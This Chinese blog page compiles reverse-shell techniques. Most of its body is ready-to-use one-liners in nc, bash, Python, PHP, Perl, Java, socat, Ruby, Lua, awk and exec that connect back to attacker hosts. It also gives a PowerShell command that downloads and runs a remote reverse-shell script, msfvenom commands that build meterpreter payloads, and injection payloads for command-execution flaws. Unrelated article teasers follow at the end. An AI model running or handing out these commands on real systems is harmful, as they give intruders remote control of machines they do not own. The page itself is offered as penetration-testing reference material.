当前位置: 首页 > news >正文

反弹shell总结

反弹shell总结

  • 讲在前面说的话:
  • 反弹shell总结
      • nc反弹shell
          • 正向shell
          • 反向shell
          • 正向shell(服务端被攻击):
          • 反向shell(客户端被攻击):
      • 无nc反弹shell
          • python反弹shell
          • bash反弹shell
          • PHP反向shell
          • Perl反向shell
          • Java反弹shell
          • socat 反弹shell
          • Ruby反弹shell
          • Lua反弹shell
          • Awk 反弹shell
          • exec反弹shell
          • powershell反弹shell
          • 利用msf生成反弹shell
  • kali综合渗透测试-常用代码
  • 各种反弹shell方法总结备忘
      • shell分为两种,一种是正向shell,另一种是反向shell。
          • (1)正向shell
          • (2)反向shell
      • 4.在目标主机中没有nc时获得反向shell
          • (1)Python反向shell
          • (2)Bash反向shell
          • (3)PHP反向shell
          • (4)Perl反向shell
          • (5)Java脚本反弹shell
          • (6)socat 反弹shell
          • (7)Ruby反弹shell
          • (8)Lua反弹shell
          • (9)Awk反弹shell
          • (10)exec反弹shell
          • (11)nc反弹shell:
          • (12)powershell反弹shell
          • (13)从原生的 shell 环境切换到linux的交互式 bash 环境 通常我们nc获得的shell都是不完全shell,需要通过Python的pty转换为拥有完全命令行的完全shell,方便我们进行复制粘贴等操作。
  • 【技术分享】linux各种一句话反弹shell总结
      • 简介
      • 一、场景一
          • 1.1 安装netcat
          • 1.2 开启本地监听
          • 1.3 直接连接目标主机
      • 二、场景二
          • 2.1 bash 直接反弹
          • 2.2 netcat 工具反弹
          • 2.3 socat 反弹一句话
          • 2.4 其他脚本一句话shell反弹
          • 2.5 msfvenom 获取反弹一句话
      • 三、场景三
          • 3.1 一句话添加账号
          • 3.2 python 标准虚拟终端获取
      • 四、写在最后
          • 4.1 nc开启本地监听发布bash服务
          • 4.2 常用反弹shell一句话
          • 4.3 利用msfvenom获取反弹一句话
          • 4.4 使用python获取标准shell
          • 4.5 linux 一句话添加账户
      • 学习参考
  • 反弹SHELL汇总
      • Reverse Shell Cheat Sheet
          • Bash
          • PERL
          • Python
          • PHP
          • Ruby
          • Netcat
          • Java
          • xterm
          • Further Reading
  • 几种常见反弹shell汇总
      • 0x01. bash
      • 0x02. nc(netcat)反弹
      • 0x03. telnet反弹
      • 常见脚本反弹
          • 1. python
          • 2. perl
          • 方法二:
          • 3. Ruby
          • 4. PHP
          • 5. Java
          • 6. Lua
          • 7. AWK 反弹
      • Reference
  • 10种反弹shell方式
      • 参考链接:
      • 10种反弹shell方式
          • 1. bash
          • 2. perl
          • 3. python
          • 4. php
          • 5. ruby
          • 6. nc
          • 7. java
          • 8. xterm
          • 9. exec
          • 10. 从原生的 shell 环境切换到 linux 的交互式 bash 环境




讲在前面说的话:

没有任何基础的 推荐 【技术分享】linux各种一句话反弹shell总结




反弹shell总结

nc反弹shell

正向shell
nc -lvp 1234 -e /bin/bash # linux  服务端(被攻击的主机)
nc -lvp 1234 -e c:\windows\system32\cmd.exe # windows 服务端(被攻击的主机)
nc host.example.com 1234 # linux 客户端
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l host.example.com 1234 > /tmp/f # linux  服务端(被攻击的主机)
nc host.example.com 1234 # 客户端
反向shell
nc -lvp 1234 # 服务端
nc host.example.com 1234 -e /bin/sh # linux 客户端 (被攻击的主机)
nc host.example.com 1234 -e c:\windows\system32\cmd.exe # windows 客户端 (被攻击的主机)
正向shell(服务端被攻击):

本地或vps将自己的shell传给服务器(端口监听在服务器上)

反向shell(客户端被攻击):

目标机器将shell主动传给本地或vps(端口监听在本地vps上)

无nc反弹shell

python反弹shell
nc -lvp 1234 # 服务端
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("host.example.com",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# 绕过限制sudo提权
sudo python -c "import pty;pty.spawn("/bin/bash")"
# 反弹shell后,显示当前用户信息
python -c "import pty; pty.spawn("/bin/bash")"
bash反弹shell
nc -lvp 1234 # 服务端
bash -i >& /dev/tcp/host.example.com/1234 0>&1 # 客户端 (被攻击的主机)
PHP反向shell
php -r '$sock=fsockopen("host.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl反向shell
perl -e 'use Socket;$i="host.example.com";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"host.example.com:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Java反弹shell
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/host.example.com/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();


Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/host.example.com/1234 0>&1"});
p.waitFor();
socat 反弹shell
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat chmod 755 /tmp/socat /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:host.example.com:1234
Ruby反弹shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("host.example.com","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'c=TCPSocket.new("host.example.com","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Lua反弹shell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('host.example.com','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Awk 反弹shell
awk 'BEGIN{s="/inet/tcp/0/host.example.com/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
exec反弹shell
exec 5<>/dev/tcp/host.example.com/1234 cat <&5 | while read line; do $line 2>&5 >&5; done
0<&196;exec 196<>/dev/tcp/host.example.com/1234; sh <&196>&196 2>&196
powershell反弹shell
apt-get install powshell
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress host.example.com -port 1234
利用msf生成反弹shell

Msfvenom生成一个反弹shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.212.6 LPORT=443 > shell443.php

利用模块

use exploit/multi/handler

msf生成一个war格式的反弹shell

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.5 lport=6666 -f war -o test.war

msfvenom生成一个payload,上传到目标,增加执行权限

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.212.6 LPORT=8888 -f elf > shell.elf




kali综合渗透测试-常用代码

命令执行漏洞反弹shell代码:

echo “bash -i >& /dev/tcp/192.168.56.102/6666 0>&1” | bash

burpsuite抓包修改用户名密码的数据包内容代入数据库执行,反弹shell语句

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1

相关文章:

反弹shell总结

反弹shell总结 讲在前面说的话:反弹shell总结nc反弹shell正向shell反向shell正向shell(服务端被攻击):反向shell(客户端被攻击):无nc反弹shellpython反弹shellbash反弹shellPHP反向shellPerl反向shellJava反弹shellsocat 反弹shellRuby反弹shellLua反弹shellAwk 反弹she…...

[机缘参悟-103] :IT人关于接纳的思考与感悟

目录 前言&#xff1a; 一、接纳 1.1 什么是接纳 1.2 对接纳的误解 1.3 接纳的含义 1.4 "存在即合理" VS 接纳 1.5 接纳 VS 躺平 VS 随遇而安 1.6 为什么现实总是那么不尽人意 1.7 现实世界的多样性 1.8 接纳与认命 1.9 不接纳的表现 前言&#xff1a; …...

甄知携AIGC新升级产品参与首届人工智能生成内容国际会议,共探AIGC最前沿技术

首届人工智能生成内容国际会议(2023The 1st International Conference on AI-generated Content (AIGC2023)于2023年8月25-26日在中国上海举行。本次会议得到了复旦大学、中国科技大学、同济大学、上海交通大学、上海人工智能实验室、香港中文大学等知名院校和研究机构的大力支…...

4.9 已建立连接的TCP,收到SYN会发生什么?

1. 客户端的 SYN 报文里的端口号与历史连接不相同 此时服务端会认为是新的连接要建立&#xff0c;于是就会通过三次握手来建立新的连接。 旧连接里处于 Established 状态的服务端最后会怎么样呢&#xff1f; 服务端给客户端发消息了&#xff1a;客户端连接已被关闭&#xff…...

leetcode 365 水壶问题

有一个水壶容量或者两个水壶加起来总容量为目标容量 总共有八种选择&#xff1a;第一种倒满x,第二种倒满y,第三种清空x,第四种清空y,第五种x 倒给 y y能装满 &#xff0c;第六种 x 倒给 y x倒完, 。。。。 这里用深度遍历&#xff0c;时间超时 class Solution {public boole…...

django/CVE-2017-12794XSS漏洞复现

docker搭建漏洞复现环境 漏洞原理看帮助文档 # Django debug page XSS漏洞&#xff08;CVE-2017-12794&#xff09;分析Django发布了新版本1.11.5&#xff0c;修复了500页面中可能存在的一个XSS漏洞&#xff0c;这篇文章说明一下该漏洞的原理和复现&#xff0c;和我的一点点评…...

【学习笔记】计算机视觉对比学习综述

计算机视觉对比学习综述 前言百花齐放InstDiscInvaSpreadCPCCMC CV双雄MoCoSimCLRMoCo v2SimCLR v2SwAV 不用负样本BYOLSimSiam TransformerMoCo v3DINO 总结参考链接 前言 本篇对比学习综述内容来自于沐神对比学习串讲视频以及其中所提到的论文和博客&#xff0c;对应的链接详…...

【Linux】fork函数的基础知识

文章目录 前言一、fork的返回值二、常见问题 1.为什么fork要给子进程返回0&#xff0c;给父进程返回子进程pid&#xff1f;2.一个函数返回两次值怎么理解&#xff1f; 3.一个变量怎么会有不同的内容&#xff1f; 4.fork函数干了什么&#xff1f; 前言 fork初识&#xff1a; …...

代码随想录算法训练营day48 | LeetCode 198. 打家劫舍 213. 打家劫舍 II 337. 打家劫舍 III

198. 打家劫舍&#xff08;题目链接&#xff1a;力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台&#xff09; 思路&#xff1a;dp题除背包外的另外一类题目&#xff0c;重点不在于看前面的情况&#xff0c;而在于考虑本节点的情况。一种情况&#xf…...

【已解决】Java 后端使用数组流 Array.stream() 将数组格式的 Cookie 转换成字符串格式

&#x1f389;工作中遇到这样一个场景&#xff1a;远程调用某个接口&#xff0c;该接口需要用户的 Cookie 信息进行权限认证&#xff0c;认证通过之后才可以打通并返回数据。 在后端拿到 httpServletRequest 后&#xff0c;调用 getCookies() 方法&#xff0c;返回的是一个 Coo…...

Redis——》如何评估锁过期时间

推荐链接&#xff1a; 总结——》【Java】 总结——》【Mysql】 总结——》【Redis】 总结——》【Kafka】 总结——》【Spring】 总结——》【SpringBoot】 总结——》【MyBatis、MyBatis-Plus】 总结——》【Linux】 总结——》【MongoD…...

完整开发实现公众号主动消息推送,精彩内容即刻到达

&#x1f3c6;作者简介&#xff0c;黑夜开发者&#xff0c;CSDN领军人物&#xff0c;全栈领域优质创作者✌&#xff0c;CSDN博客专家&#xff0c;阿里云社区专家博主&#xff0c;2023年6月CSDN上海赛道top4。 &#x1f3c6;数年电商行业从业经验&#xff0c;历任核心研发工程师…...

获取ip(公网和内网) 前端通过高德api获取位置信息

获取ip&#xff08;公网和内网&#xff09; 前端通过高德api获取位置信息 获取ip //获取公网ip getIp() {this.$axios.get(http://api.ipify.org).then((res) > {if (res) {console.log(res, 公网ip);}}).catch((e) > {console.log(e, e);}); },//获取内网ip this.getIP(…...

linux打开端口命令是什么

linux打开端口命令是什么 linux开启端口的命令是 1 firewall-cmd --zonepublic --add-port端口/通讯协议 --permanent 需要注意的是&#xff0c;我们在开启指定端口后需要重启防火墙。 示例如下&#xff1a; 1、开启防火墙 1 systemctl start firewalld 2、开放指定端…...

从《孤注一掷》出发,聊聊 SSL 证书的重要性

你去看《孤注一掷》了吗&#xff1f;相信最近大家的朋友圈和抖音都被爆火电影《孤注一掷》成功刷屏。取材于上万真实案例的《孤注一掷》揭露了缅甸诈骗园区残暴的统治&#xff0c;以及电信诈骗中系统性极强的诈骗技巧&#xff0c;引发了大量讨论。 图片来源于电影《孤注一掷》…...

专题:曲面的切平面、法线

假设曲面方程为隐函数 F ( x , y , z ) 0 &#xff0c;点 M ( x 0 , y 0 , z 0 ) 是其上一点 又在点 M 处任意引一条在曲面上的曲线&#xff0c;设该曲线参数方程为&#xff1a; { x φ ( t ) y ψ ( t ) z ω ( t ) &#xff0c;且当 t t 0 时&#xff0c; x x 0 , y y…...

数据结构:排序解析

文章目录 前言一、常见排序算法的实现1.插入排序1.直接插入排序2.希尔排序 2.交换排序1.冒泡排序2.快速排序1.hoare版2.挖坑版3.前后指针版4.改进版5.非递归版 3.选择排序1.直接选择排序2.堆排序 4.归并排序1.归并排序递归实现2.归并排序非递归实现 5.计数排序 二、排序算法复杂…...

Revit SDK:AutoJoin 自动合并体量

前言 Revit 有一套完整的几何造型能力&#xff0c;每一个体量都是一个GenericForm&#xff0c;这些体量可以通过拉伸、扫掠等创建。这个例子介绍如何将他们合并成一个体量。 内容 合并体量的关键接口&#xff1a; // Autodesk.Revit.DB.Document public GeomCombination Com…...

MYSQL(索引、事务)

文章目录 一、索引二、事务 一、索引 数据库中的表、数据、索引之间的关系&#xff0c;类似于书架上的图书、书籍内容和书籍目录的关系 1. 概述 概念&#xff1a;相当于是一本书的目录&#xff0c;是以‘列’为维度进行建立的使用场景&#xff1a;如果我们要查询一个表中的某个…...

部署问题集合(二十三)设置Docker容器内的中文字符集,解决某些情况下中文乱码的问题

前言&#xff1a; 同事给了一个服务&#xff0c;在Windows环境下怎么跑都正常&#xff0c;但一到Linux虚拟机里就中文乱码起初就想到了可能是字符集的问题&#xff0c;但调整了半天也没见效果&#xff0c;最后隔了几天突然想到&#xff0c;我是构建Docker跑的&#xff0c;而且…...

谷歌浏览器插件

项目中有时候会用到插件 sync-cookie-extension1.0.0&#xff1a;开发环境同步测试 cookie 至 localhost&#xff0c;便于本地请求服务携带 cookie 参考地址&#xff1a;https://juejin.cn/post/7139354571712757767 里面有源码下载下来&#xff0c;加在到扩展即可使用FeHelp…...

[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解

突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 ​安全措施依赖问题​ GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...

从WWDC看苹果产品发展的规律

WWDC 是苹果公司一年一度面向全球开发者的盛会&#xff0c;其主题演讲展现了苹果在产品设计、技术路线、用户体验和生态系统构建上的核心理念与演进脉络。我们借助 ChatGPT Deep Research 工具&#xff0c;对过去十年 WWDC 主题演讲内容进行了系统化分析&#xff0c;形成了这份…...

[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?

论文网址&#xff1a;pdf 英文是纯手打的&#xff01;论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误&#xff0c;若有发现欢迎评论指正&#xff01;文章偏向于笔记&#xff0c;谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...

MySQL中【正则表达式】用法

MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现&#xff08;两者等价&#xff09;&#xff0c;用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例&#xff1a; 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...

基于Java+MySQL实现(GUI)客户管理系统

客户资料管理系统的设计与实现 第一章 需求分析 1.1 需求总体介绍 本项目为了方便维护客户信息为了方便维护客户信息&#xff0c;对客户进行统一管理&#xff0c;可以把所有客户信息录入系统&#xff0c;进行维护和统计功能。可通过文件的方式保存相关录入数据&#xff0c;对…...

音视频——I2S 协议详解

I2S 协议详解 I2S (Inter-IC Sound) 协议是一种串行总线协议&#xff0c;专门用于在数字音频设备之间传输数字音频数据。它由飞利浦&#xff08;Philips&#xff09;公司开发&#xff0c;以其简单、高效和广泛的兼容性而闻名。 1. 信号线 I2S 协议通常使用三根或四根信号线&a…...

力扣热题100 k个一组反转链表题解

题目: 代码: func reverseKGroup(head *ListNode, k int) *ListNode {cur : headfor i : 0; i < k; i {if cur nil {return head}cur cur.Next}newHead : reverse(head, cur)head.Next reverseKGroup(cur, k)return newHead }func reverse(start, end *ListNode) *ListN…...

基于PHP的连锁酒店管理系统

有需要请加文章底部Q哦 可远程调试 基于PHP的连锁酒店管理系统 一 介绍 连锁酒店管理系统基于原生PHP开发&#xff0c;数据库mysql&#xff0c;前端bootstrap。系统角色分为用户和管理员。 技术栈 phpmysqlbootstrapphpstudyvscode 二 功能 用户 1 注册/登录/注销 2 个人中…...

tomcat指定使用的jdk版本

说明 有时候需要对tomcat配置指定的jdk版本号&#xff0c;此时&#xff0c;我们可以通过以下方式进行配置 设置方式 找到tomcat的bin目录中的setclasspath.bat。如果是linux系统则是setclasspath.sh set JAVA_HOMEC:\Program Files\Java\jdk8 set JRE_HOMEC:\Program Files…...